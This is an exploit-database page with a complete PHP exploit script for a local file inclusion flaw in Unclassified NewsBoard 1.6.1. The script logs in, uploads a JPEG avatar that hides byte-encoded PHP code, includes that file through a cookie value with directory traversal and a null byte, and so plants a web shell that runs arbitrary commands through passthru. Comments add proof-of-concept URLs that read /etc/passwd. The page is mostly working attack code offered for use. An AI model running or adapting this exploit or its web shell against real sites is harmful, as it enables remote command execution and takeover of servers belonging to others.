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0day Today Exploits Market and 0day Exploits Database

Unclassified NewsBoard <= 1.6.1 patch 1 Arbitrary Local Inclusion Exploit

Author
rgod
Risk
[
Security Risk Unsored
]
0day-ID
0day-ID-415
Category
web applications
Date add
10-05-2006
Platform
unsorted
=========================================================================
Unclassified NewsBoard <= 1.6.1 patch 1 Arbitrary Local Inclusion Exploit
=========================================================================






#!/usr/bin/php -q -d short_open_tag=on
<?
echo "Unclassified NewsBoard <= 1.6.1 patch 1 ABBC[Config][smileset] arbitrary\r\n";
echo "local inclusion\r\n";
echo "by rgod rgod@autistici.org\r\n";
echo "site: http://retrogod.altervista.org\r\n\r\n";
echo "works with register_globals = On & magic_quotes_gpc = Off\r\n\r\n";

/*
1.5.3 patch level 4 and below, exploit is a bit different, ex:
 
http://[target]/[path]/bb_lib/abbc.css.php?design_path=../../../../../../../../../etc/passwd%00
*/

if ($argc<6) {
echo "Usage: php ".$argv[0]." host path user pass cmd OPTIONS\r\n";
echo "host:      target server (ip/hostname)\r\n";
echo "path:      path to UNB\r\n";
echo "cmd:       a shell command\r\n";
echo "user/pass: you need a valid user account to upload files\r\n";
echo "Options:\r\n";
echo "   -p[port]:    specify a port other than 80\r\n";
echo "   -P[ip:port]: specify a proxy\r\n";
echo "Examples:\r\n";
echo "php ".$argv[0]." localhost /unb/ your_username password cat ./../board.conf.php\r\n";
echo "php ".$argv[0]." localhost /unb/ your_username password ls -la -p81\r\n";
echo "php ".$argv[0]." localhost / your_username password ls -la -P1.1.1.1:80\r\n\r\n";
die;
}

/* software site: http://newsboard.unclassified.de/

   description: "The Unclassified NewsBoard (short UNB) is an open-source,
   PHP-based internet bulletin board system"

   vulnerable code in unb_lib/abbc.conf.php at lines 635-641:

   ...
   // Smiley Definitions
  if ($ABBC['Config']['smileset'])
  {
	$ABBC['Config']['smilepath'] = dirname(__FILE__) . '/designs/_smile/' . $ABBC['Config']['smileset'] . '/';
	$ABBC['Config']['smileurl'] = $UNB['LibraryURL'] . 'designs/_smile/' . $ABBC['Config']['smileset'] . '/';
	@include($ABBC['Config']['smilepath'] . 'config.php');
  }
  ...

  $ABBC['Config']['smileset'] var is not initialized before to be used to include
  files. You cannot have access to this code directly but in unb_lib/abbc.css.php
  at line 16 we have:

  ...
  require('abbc.conf.php');
  ...

  this script is not protected by the unb_lib folder .htaccess file:

  # Don't allow direct PHP requests in this directory
  <Files *.inc.php>
	Order allow,deny
	Deny from all
  </Files>
  <Files *.lib.php>
	Order allow,deny
	Deny from all
  </Files>

  so, if register_globals = On & magic_quotes_gpc = Off, you can include files
  from local resources, poc:

  http://[target]/[path]/unb_lib/abbc.css.php?ABBC[Config][smileset]=../../../../../../../../../etc/passwd%00
  http://[target]/[path]/unb_lib/abbc.css.php?ABBC[Config][smileset]=../../upload/avatar_[user_id].jpeg%00&cmd=ls%20-la
  http://[target]/[path]/unb_lib/abbc.css.php?ABBC[Config][smileset]=../../upload/photo_[user_id].jpeg%00&cmd=ls%20-la

  this script try to include an avatar or photo with malicious php code
  inside, you need a valid account to upload files

									      */
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

function quick_dump($string)
{
  $result='';$exa='';$cont=0;
  for ($i=0; $i<=strlen($string)-1; $i++)
  {
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
   {$result.="  .";}
   else
   {$result.="  ".$string[$i];}
   if (strlen(dechex(ord($string[$i])))==2)
   {$exa.=" ".dechex(ord($string[$i]));}
   else
   {$exa.=" 0".dechex(ord($string[$i]));}
   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
  }
 return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacketii($packet)
{
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy=='') {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      echo 'No response from '.$host.':'.$port; die;
    }
  }
  else {
	$c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo 'Not a valid proxy...';die;
    }
    $parts=explode(':',$proxy);
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
      echo 'No response from proxy...';die;
	}
  }
  fputs($ock,$packet);
  if ($proxy=='') {
    $html='';
    while (!feof($ock)) {
      $html.=fgets($ock);
    }
  }
  else {
    $html='';
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      $html.=fread($ock,1);
    }
  }
  fclose($ock);
  #debug
  #echo "\r\n".$html;

}

$host=$argv[1];
$path=$argv[2];
$username=$argv[3];
$pass=$argv[4];
$cmd="";$port=80;$proxy="";
for ($i=5; $i<=$argc-1; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if (($temp<>"-p") and ($temp<>"-P"))
{$cmd.=" ".$argv[$i];}
if ($temp=="-p")
{
  $port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
  $proxy=str_replace("-P","",$argv[$i]);
}
}
$cmd=urlencode($cmd);
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

echo "step 0 -> check if suntzu.php is already installed...\r\n";
$packet ="GET ".$p."unb_lib/suntzu.php HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Cookie: cmd=".$cmd.";\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
if (strstr($html,"56789"))
{
  echo "Exploit succeeded...";
  $temp=explode("56789",$html);
  die("\r\n".$temp[1]."\r\n");
}

echo "step 1 -> login...\r\n";
$data ="LoginName=".urlencode(trim($username));
$data.="&LoginPassword=".urlencode(trim($pass));
$packet="POST ".$p."forum.php?req=setuser&module=main HTTP/1.0\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
#debug
#echo quick_dump($packet);
sendpacketii($packet);
$temp=explode("Set-Cookie: ",$html);
$temp2=explode(' ',$temp[1]);
$cookie=$temp2[0];
$temp2=explode(' ',$temp[2]);
$cookie.=" ".$temp2[0];
echo 'Your cookie: '.$cookie."\r\n";
$temp=explode("=",$cookie);
$temp2=explode("+",$temp[2]);
$id=$temp2[0];
echo "User Id -> ".$id."\r\n";

echo "step 2 -> upload a malicious avatar with php code inside...\r\n";
$shell=
chr(0xff).chr(0xd8).chr(0xff).chr(0xfe).chr(0x01).chr(0x07).chr(0x3c).chr(0x3f).
chr(0x70).chr(0x68).chr(0x70).chr(0x0d).chr(0x0a).chr(0x24).chr(0x66).chr(0x70).
chr(0x3d).chr(0x66).chr(0x6f).chr(0x70).chr(0x65).chr(0x6e).chr(0x28).chr(0x22).
chr(0x73).chr(0x75).chr(0x6e).chr(0x74).chr(0x7a).chr(0x75).chr(0x2e).chr(0x70).
chr(0x68).chr(0x70).chr(0x22).chr(0x2c).chr(0x22).chr(0x77).chr(0x22).chr(0x29).
chr(0x3b).chr(0x0d).chr(0x0a).chr(0x66).chr(0x70).chr(0x75).chr(0x74).chr(0x73).
chr(0x28).chr(0x24).chr(0x66).chr(0x70).chr(0x2c).chr(0x22).chr(0x3c).chr(0x3f).
chr(0x70).chr(0x68).chr(0x70).chr(0x20).chr(0x65).chr(0x72).chr(0x72).chr(0x6f).
chr(0x72).chr(0x5f).chr(0x72).chr(0x65).chr(0x70).chr(0x6f).chr(0x72).chr(0x74).
chr(0x69).chr(0x6e).chr(0x67).chr(0x28).chr(0x30).chr(0x29).chr(0x3b).chr(0x73).
chr(0x65).chr(0x74).chr(0x5f).chr(0x74).chr(0x69).chr(0x6d).chr(0x65).chr(0x5f).
chr(0x6c).chr(0x69).chr(0x6d).chr(0x69).chr(0x74).chr(0x28).chr(0x30).chr(0x29).
chr(0x3b).chr(0x69).chr(0x66).chr(0x20).chr(0x28).chr(0x67).chr(0x65).chr(0x74).
chr(0x5f).chr(0x6d).chr(0x61).chr(0x67).chr(0x69).chr(0x63).chr(0x5f).chr(0x71).
chr(0x75).chr(0x6f).chr(0x74).chr(0x65).chr(0x73).chr(0x5f).chr(0x67).chr(0x70).
chr(0x63).chr(0x28).chr(0x29).chr(0x29).chr(0x20).chr(0x7b).chr(0x5c).chr(0x24).
chr(0x5f).chr(0x43).chr(0x4f).chr(0x4f).chr(0x4b).chr(0x49).chr(0x45).chr(0x5b).
chr(0x63).chr(0x6d).chr(0x64).chr(0x5d).chr(0x3d).chr(0x73).chr(0x74).chr(0x72).
chr(0x69).chr(0x70).chr(0x73).chr(0x6c).chr(0x61).chr(0x73).chr(0x68).chr(0x65).
chr(0x73).chr(0x28).chr(0x5c).chr(0x24).chr(0x5f).chr(0x43).chr(0x4f).chr(0x4f).
chr(0x4b).chr(0x49).chr(0x45).chr(0x5b).chr(0x63).chr(0x6d).chr(0x64).chr(0x5d).
chr(0x29).chr(0x3b).chr(0x7d).chr(0x65).chr(0x63).chr(0x68).chr(0x6f).chr(0x20).
chr(0x35).chr(0x36).chr(0x37).chr(0x38).chr(0x39).chr(0x3b).chr(0x70).chr(0x61).
chr(0x73).chr(0x73).chr(0x74).chr(0x68).chr(0x72).chr(0x75).chr(0x28).chr(0x5c).
chr(0x24).chr(0x5f).chr(0x43).chr(0x4f).chr(0x4f).chr(0x4b).chr(0x49).chr(0x45).
chr(0x5b).chr(0x63).chr(0x6d).chr(0x64).chr(0x5d).chr(0x29).chr(0x3b).chr(0x65).
chr(0x63).chr(0x68).chr(0x6f).chr(0x20).chr(0x35).chr(0x36).chr(0x37).chr(0x38).
chr(0x39).chr(0x3b).chr(0x3f).chr(0x3e).chr(0x22).chr(0x29).chr(0x3b).chr(0x0d).
chr(0x0a).chr(0x66).chr(0x63).chr(0x6c).chr(0x6f).chr(0x73).chr(0x65).chr(0x28).
chr(0x24).chr(0x66).chr(0x70).chr(0x29).chr(0x3b).chr(0x0d).chr(0x0a).chr(0x63).
chr(0x68).chr(0x6d).chr(0x6f).chr(0x64).chr(0x28).chr(0x22).chr(0x73).chr(0x75).
chr(0x6e).chr(0x74).chr(0x7a).chr(0x75).chr(0x2e).chr(0x70).chr(0x68).chr(0x70).
chr(0x22).chr(0x2c).chr(0x37).chr(0x37).chr(0x37).chr(0x29).chr(0x3b).chr(0x0d).
chr(0x0a).chr(0x3f).chr(0x3e).chr(0xff).chr(0xe0).chr(0x00).chr(0x10).chr(0x4a).
chr(0x46).chr(0x49).chr(0x46).chr(0x00).chr(0x01).chr(0x01).chr(0x01).chr(0x00).
chr(0x48).chr(0x00).chr(0x48).chr(0x00).chr(0x00).chr(0xff).chr(0xdb).chr(0x00).
chr(0x43).chr(0x00).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).
chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).
chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).
chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).
chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).
chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).
chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).
chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).
chr(0x01).chr(0x01).chr(0xff).chr(0xdb).chr(0x00).chr(0x43).chr(0x01).chr(0x01).
chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).
chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).
chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).
chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).
chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).
chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).
chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).
chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0xff).
chr(0xc0).chr(0x00).chr(0x11).chr(0x08).chr(0x00).chr(0x01).chr(0x00).chr(0x01).
chr(0x03).chr(0x01).chr(0x11).chr(0x00).chr(0x02).chr(0x11).chr(0x01).chr(0x03).
chr(0x11).chr(0x01).chr(0xff).chr(0xc4).chr(0x00).chr(0x14).chr(0x00).chr(0x01).
chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).
chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x08).
chr(0xff).chr(0xc4).chr(0x00).chr(0x14).chr(0x10).chr(0x01).chr(0x00).chr(0x00).
chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).
chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0xff).chr(0xc4).
chr(0x00).chr(0x15).chr(0x01).chr(0x01).chr(0x01).chr(0x00).chr(0x00).chr(0x00).
chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).
chr(0x00).chr(0x00).chr(0x00).chr(0x08).chr(0x09).chr(0xff).chr(0xc4).chr(0x00).
chr(0x14).chr(0x11).chr(0x01).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).
chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).
chr(0x00).chr(0x00).chr(0x00).chr(0xff).chr(0xda).chr(0x00).chr(0x0c).chr(0x03).
chr(0x01).chr(0x00).chr(0x02).chr(0x11).chr(0x03).chr(0x11).chr(0x00).chr(0x3f).
chr(0x00).chr(0x23).chr(0x94).chr(0x09).chr(0x2e).chr(0xff).chr(0xd9).chr(0x00);

/*
this image has this code inside as EXIF metadata content
<?php
$fp=fopen("suntzu.php","w");
fputs($fp,"<?php error_reporting(0);set_time_limit(0);if (get_magic_quotes_gpc()) {\$_COOKIE[cmd]=stripslashes(\$_COOKIE[cmd]);}echo 56789;passthru(\$_COOKIE[cmd]);echo 56789;?>");
fclose($fp);
chmod("suntzu.php",777);
?>
*/

$data='-----------------------------7d614f2d12043e
Content-Disposition: form-data; name="action"

edit
-----------------------------7d614f2d12043e
Content-Disposition: form-data; name="id"

'.$id.'
-----------------------------7d614f2d12043e
Content-Disposition: form-data; name="cat"

postoptions
-----------------------------7d614f2d12043e
Content-Disposition: form-data; name="Signature"


-----------------------------7d614f2d12043e
Content-Disposition: form-data; name="avatar"

1
-----------------------------7d614f2d12043e
Content-Disposition: form-data; name="avatarfile"; filename="suntzu.jpeg"
Content-Type: image/pjpeg

'.$shell.'
-----------------------------7d614f2d12043e
Content-Disposition: form-data; name="avatarurl"


-----------------------------7d614f2d12043e
Content-Disposition: form-data; name="photofile"; filename="suntzoi.jpeg"
Content-Type: image/pjpeg

'.$shell.'
-----------------------------7d614f2d12043e
Content-Disposition: form-data; name="photourl"


-----------------------------7d614f2d12043e
Content-Disposition: form-data; name="photo"

1
-----------------------------7d614f2d12043e
Content-Disposition: form-data; name="Save"

Save
-----------------------------7d614f2d12043e--
';

$packet ="POST ".$p."forum.php?req=cp HTTP/1.0\r\n";
$packet.="Content-Type: multipart/form-data; boundary=---------------------------7d614f2d12043e\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Accept-Encoding: gzip, deflate\r\n";
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: Keep-Alive\r\n";
$packet.="Cache-Control: no-cache\r\n";
$packet.="Cookie: ".$cookie."\r\n\r\n";
$packet.=$data;
#debug
#echo quick_dump($packet);
sendpacketii($packet);

echo "step 3 -> try to include avatar or photo...\r\n";
$xpl=array(
	   urlencode("../../upload/avatar_".$id.".jpeg".chr(0x00)),
	   urlencode("../../upload/photo_".$id.".jpeg".chr(0x00))
	  );

for ($i=0; $i<=count($xpl)-1; $i++)
{
  $packet ="GET ".$p."unb_lib/abbc.css.php HTTP/1.0\r\n";
  $packet.="Host: ".$host."\r\n";
  $packet.="Cookie: ABBC[Config][smileset]=".$xpl[$i]."; \r\n"; //pass evil var through cookies
  $packet.="Connection: Close\r\n\r\n";
  $packet.=$data;
  #debug
  #echo quick_dump($packet);
  sendpacketii($packet);
}

echo "step 4 -> Launch commands...\r\n";
$packet ="GET ".$p."unb_lib/suntzu.php HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Cookie: cmd=".$cmd.";\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
#debug
#echo quick_dump($packet);
sendpacketii($packet);
if (strstr($html,"56789"))
{
  echo "Exploit succeeded...";
  $temp=explode("56789",$html);
  die("\r\n".$temp[1]."\r\n");
}
//if you are here...
echo "Exploit failed...";
?>



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